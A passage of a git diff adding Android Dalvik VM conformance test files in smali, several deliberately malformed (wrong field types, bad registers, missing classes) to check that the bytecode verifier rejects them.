+       iget-wide v0, v1, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_p1:J
+       return-wide v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 77
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_p1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali
new file mode 100644
index 0000000..73fb66a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_15.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_15;
+.super  Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_pvt1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali
new file mode 100644
index 0000000..77ddafa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_17.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_17;->st_i1:J
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali
new file mode 100644
index 0000000..1cffac5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_2.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali
new file mode 100644
index 0000000..387b130
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_21.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 12    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_21;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali
new file mode 100644
index 0000000..edcffcd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_22.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali
new file mode 100644
index 0000000..3ad064b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_23.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_23;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali
new file mode 100644
index 0000000..6e414bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_24.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali
new file mode 100644
index 0000000..5ad7a34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_3.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_3;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali
new file mode 100644
index 0000000..09201a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_30.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_30.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;
+    const-wide v1, 0
+    iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_30;->st_i1:J
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali
new file mode 100644
index 0000000..70605f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_31.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const-wide v1, 0
+    iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_31;->st_i1:J
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali
new file mode 100644
index 0000000..c17fee3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_4.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-wide v3, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali
new file mode 100644
index 0000000..35f88f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_5.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_5.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_5;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0.5
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_5;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali
new file mode 100644
index 0000000..646676f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_6.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_6;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_6;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali
new file mode 100644
index 0000000..10f28ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_7.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_7;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali
new file mode 100644
index 0000000..1785856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_8.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_8.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/TestStubs;-><init>()V
+       
+       const-wide v1, 0
+       iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/TestStubs;->TestStubField:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali
new file mode 100644
index 0000000..acff113
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_9.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 0
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_9noclass;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali
new file mode 100644
index 0000000..70a05bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_1.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali
new file mode 100644
index 0000000..7dcc7f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_3.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       const v6, 1234
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali
new file mode 100644
index 0000000..b775b66
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_4.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali
new file mode 100644
index 0000000..0c54681
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_5.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v8
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali
new file mode 100644
index 0000000..621d011
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_6.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali
new file mode 100644
index 0000000..b853c78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_1.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali
new file mode 100644
index 0000000..503ac5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
